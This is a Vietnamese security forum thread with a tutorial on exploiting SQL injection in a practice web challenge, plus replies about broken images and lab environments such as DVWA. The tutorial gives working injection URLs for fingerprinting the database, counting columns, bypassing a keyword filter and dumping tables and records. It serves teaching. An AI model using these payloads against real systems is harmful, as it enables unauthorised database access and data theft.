Web4: SQL injection - Các bước khai thác

Thảo luận trong 'Web Security' bắt đầu bởi Mask, 22/01/14, 10:01 AM.

  1. Mask

    Mask Moderator

    Tham gia: 03/07/13, 08:07 AM
    Bài viết: 25
    Đã được thích: 19
    Điểm thành tích:
    18
    Web4: SQL injection - Các bước khai thác khác



    Các chuyên đề nhỏ cùng chủ đề:1. Phát hiện

    Một cách thông thường, để phát hiện một ứng dụng web có dính lỗi SQL injection hay không là thêm vào câu truy vấn các meta character trong các hệ quản trị cơ sở dữ liệu, chẳng hạn như dấu nháy đơn (single quote), dấu nháy kép (double quote), dấu chấm phẩy (semi colon) và các ký tự comment (--, ##, /**/)… và chờ xem ứng dụng web sẽ xứ lý câu truy vấn đó như thế nào.
    Các bạn truy cập vào link sau:http://zerocoolhf.altervista.org/level1.php?id=1

    [​IMG]




    Thêm vào cuối liên kết trên một trong các meta character đã nói ở trên, chẳng hạn ta thêm vào dấu nháy đơn: http://zerocoolhf.altervista.org/level1.php?id=1'


    [​IMG]




    Thông báo lỗi từ mysql xuất hiện, như vậy trang web này đã bị dính lỗi SQL injection.

    2. Thu thập thông tin về hệ quản trị cơ sở dữ liệu

    Khi phát hiện ứng dụng bị dính lỗi SQL injection, công việc cần làm tiếp theo là thu thập thông tin về hệ quản trị cơ sở dữ liệu mà ứng dụng đang dùng, thông tin này bao gồm loại cơ sở dữ liệu (mysql, mssql, oracle…) và phiên bản của nó.
    Để xác định hệ loại quản trị mà ứng dụng đang sử dụng, chúng ta có thể đánh giá theo nhiều tiêu chí. Có thể đánh giá qua thông báo lỗi:


    [​IMG]


    Thông báo lỗi từ MS-SQL – IIS



    [​IMG]


    Thông báo lỗi từ MySQL – Apache


    Trong trường hợp ở trên, thông báo lỗi cho biết ứng dụng web sử dụng MySQL.

    3. Xác định số lượng cột trong mệnh đề select

    Khi khai thác SQL injection, chúng ta thường sử dụng một hay nhiều mệnh đề select phụ (subselect), điều này được thực hiện thông qua từ khóa union. Union là từ khóa dùng để gộp kết quả của nhiều mệnh đề select do đó trong mỗi mệnh đề select đòi hỏi số lượng các trường đều phải bằng nhau và đều bằng số lượng các trường được select trong mệnh đề select ban đầu. Xét một ví dụ cụ thể :


    [​IMG]




    Ở đây, trong mệnh đề select ban đầu chọn ra 3 trường là id, content và author. Do đó mệnh đề select sau từ khóa union cũng cần phải có đúng 3 trường. Nếu số trường select ở mệnh đề select sau union không bằng số lượng các trường được select trong mệnh đề select đầu tiên, chúng ta sẽ nhận được thông báo lỗi. Vậy làm sao để biết để biết được chính xác mệnh đề select đầu tiền chọn ra bao nhiêu trường. Chúng ta có thể thực hiện thử dần bằng cách tăng dần số lượng cột trong mệnh đề select sau union (bắt đầu từ 1). Khi nào không thấy thông báo lỗi xuất hiện thì đó chính là số lượng cột cần tìm.

    Một cách khác để làm điều này, nhanh chóng hơn đó là sử dụng 'order by'. Trong các hệ quản trị cơ sở dữ liệu từ khóa 'order by' được sử dụng để sắp xếp thứ tự cho các bản ghi thu được trong mệnh để select. Sau order by có thể là tên một cột để xác định rằng kết quả thu về sẽ được sắp xếp theo giá trị của cột đó (có thể tăng dần hay giảm dần). Sau order by cũng có thể là số thứ tự vị trí của cột đó. Nếu giá trị sau order lớn hơn số cột được select thì chúng ta sẽ thấy thông báo lỗi.

    Quay lại với site bị dính lỗi SQL injection ở trên, ta dùng 'order by ', tăng dần để xác định số cột.
    http://zerocoolhf.altervista.org/level1.php?id=1' order by 1-- - => ok
    http://zerocoolhf.altervista.org/level1.php?id=1' order by 2-- -=> ok
    http://zerocoolhf.altervista.org/level1.php?id=1' order by 3-- - => ok


    [​IMG]




    Tiếp tục: http://zerocoolhf.altervista.org/level1.php?id=1' order by 4-- - => xuất hiện lỗi.


    [​IMG]




    Như vậy, ta xác định được số cột là 3.

    4. Xác định thông tin

    Sau khi lấy được các thông tin cơ bản, chúng ta sẽ tiến hành khai thác SQL injection để lấy cơ sở dữ liệu hay thực hiện những hành vi khác thông qua lỗ hổng này.

    Xác định tên bảng, cột: chúng ta có nhiều cách để làm được công việc này, một trong những cách đó là “đoán” vì nó nhanh chóng và trong những trường hợp cụ thể, đây là cách rất hữu ích. Ví dụ: một số tên bảng thông dụng như : user, users, admin, administrator, staff, account, manager… (chú ý tiền tố tbl_ rất hay được các lập trình viên sử dụng để đặt cho tên bảng).

    Một cách chính qui hơn để biết được tên bảng, tên cột là sử dụng đối tượng information_schema. Đối tượng này cung cấp các thông tin về tables, columns, views và procedures… của cơ sở dữ liệu.

    Bây giờ, trở lại site http://zerocoolhf.altervista.org/level1.php?id=1
    Truy vấn SQL với URL trên có số cột là 3 (đã xác định ở trên).
    Tiến hành request với URL sau: http://zerocoolhf.altervista.org/level1.php?id=-1' union select 1,2,3-- -


    [​IMG]




    Lỗi trả về cho ta thấy có vẻ như ‘unio’ đã bị xóa mất.
    Thử lại với request: http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select 1,2,3-- -


    [​IMG]




    Thành công. Ta thấy cột số 2 và 3 bị lỗi.
    Lấy phiên bản của hệ quản trị cơ sở dữ liệu và tên cơ sở dữ liệu:
    http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select 1,version(),database()-- -


    [​IMG]




    Như vậy tên cơ sở dữ liệu là my_zerocoolhf và phiên bản của hệ quản trị cơ sở dữ liệu là MySQL 5.1.71-community-log.
    Tiếp tục, lấy tên các bảng trong cơ sở dữ liệu:
    http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -


    [​IMG]




    Cơ sở dữ liệu có 2 bảng là authbook. Chúng ta sẽ thử lấy nội dung các bản ghi trong bảng book. Trước hết xác định các trường của bảng book.
    Thực hiện request:
    http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(column_name),3 from information_schema.columns where table_name=0x626f6f6b-- -
    (0x626f6f6b là mã hex của tên bảng book, tương tự nếu muốn lấy tên các trường của bảng auth thì chỉ cần thay mã hex của auth vào vị trí của 0x626f6f6b)


    [​IMG]




    Tên các trường: id, title, price, author. Bây giờ ta sẽ lấy nội dung các bản ghi trong cơ sở dữ liệu:
    http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(id,0x3a,title,0x3a,price,0x3a,autho r),3 from book-- -
    (group_concat để nối nhiều giá trị với nhau. 0x3a là dấu “:”, để ngăn cách cho dễ nhìn)


    [​IMG]




    Như vậy, ta có thể lấy được toàn bộ cơ sở dữ liệu của site bị lỗi SQL injection.

    Các bạn quan tâm có thể theo dõi chuyên đề tiếp theo - “Web5: SQL injection - Kỹ thuật khai thác: Một số kỹ thuật vượt qua cơ chế lọc
     
    Last edited by a moderator: 15/03/17, 06:03 PM
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  2. 3C226

    3C226 New Member

    Tham gia: 15/03/17, 05:03 PM
    Bài viết: 1
    Đã được thích: 0
    Điểm thành tích:
    1
    Anh ơi tại sao ảnh lại không nhìn thấy được thế anh ?
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  3. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 943
    Đã được thích: 639
    Điểm thành tích:
    113
    Đã fix link ảnh, bạn xem lại nhé.
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  4. DirtyBird

    DirtyBird New Member

    Tham gia: 23/03/17, 10:03 AM
    Bài viết: 2
    Đã được thích: 1
    Điểm thành tích:
    3
    vẫn chưa xem được anh ơi
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  5. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 943
    Đã được thích: 639
    Điểm thành tích:
    113
    Một số chủ đề đang bị lỗi ảnh, BQT đang xử lý, các bạn thông cảm nhé!
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  6. NgMSon

    NgMSon Well-Known Member

    Tham gia: 22/03/17, 10:03 AM
    Bài viết: 542
    Đã được thích: 721
    Điểm thành tích:
    93
    upload_2017-5-13_18-58-21.png
    Anh xem em còn cần cài thêm cái gì nữa ạ.
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  7. krone

    krone Moderator Thành viên BQT

    Tham gia: 26/07/16, 03:07 PM
    Bài viết: 236
    Đã được thích: 119
    Điểm thành tích:
    43
    Bài viết khá hay và bổ ích, tuy nhiên theo mình thì tiếp cận với dạng thức tấn công SQLi như trên sẽ không phát triển được nhiều, nhất là đối với những bạn mới :).
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    NgMSon thích bài này.
  8. QUANG28

    QUANG28 New Member

    Tham gia: 14/05/17, 09:05 AM
    Bài viết: 2
    Đã được thích: 0
    Điểm thành tích:
    1
    Anh ơi hình như link test bị sao rồi
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  9. NgMSon

    NgMSon Well-Known Member

    Tham gia: 22/03/17, 10:03 AM
    Bài viết: 542
    Đã được thích: 721
    Điểm thành tích:
    93
    Links bị hỏng rồi bạn ạ ! Đây là bài mẫu nên bạn có thể tìm các trang nhỏ khác để thực hành.
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  10. whf

    whf Super Moderator Thành viên BQT

    Tham gia: 06/07/13, 03:07 AM
    Bài viết: 943
    Đã được thích: 639
    Điểm thành tích:
    113
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  11. QUANG28

    QUANG28 New Member

    Tham gia: 14/05/17, 09:05 AM
    Bài viết: 2
    Đã được thích: 0
    Điểm thành tích:
    1
    ok .Để em vào thực hành. thanks 2 bác
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  12. NgMSon

    NgMSon Well-Known Member

    Tham gia: 22/03/17, 10:03 AM
    Bài viết: 542
    Đã được thích: 721
    Điểm thành tích:
    93
    Chúc bạn thực hành tốt
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  13. krone

    krone Moderator Thành viên BQT

    Tham gia: 26/07/16, 03:07 PM
    Bài viết: 236
    Đã được thích: 119
    Điểm thành tích:
    43
    Bạn có thể download một số opensource project về, build lên rồi tự thực hành. Ví dụ như: DVWA, XVWA,...
    Ngoài ra còn một số VMs open bạn cũng có thể download về chạy lên tự exploit :)
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  14. VladimirTrinh95

    VladimirTrinh95 Member

    Tham gia: 09/07/17, 11:07 AM
    Bài viết: 6
    Đã được thích: 2
    Điểm thành tích:
    3
    Mình có thể download mấy cái này ở đâu, cho mình xin link nhé, Thank Krone.
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  15. NgMSon

    NgMSon Well-Known Member

    Tham gia: 22/03/17, 10:03 AM
    Bài viết: 542
    Đã được thích: 721
    Điểm thành tích:
    93
    Bạn mở Firefox lên , rồi chọn Add-on là sẽ có nhá
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    VladimirTrinh95 thích bài này.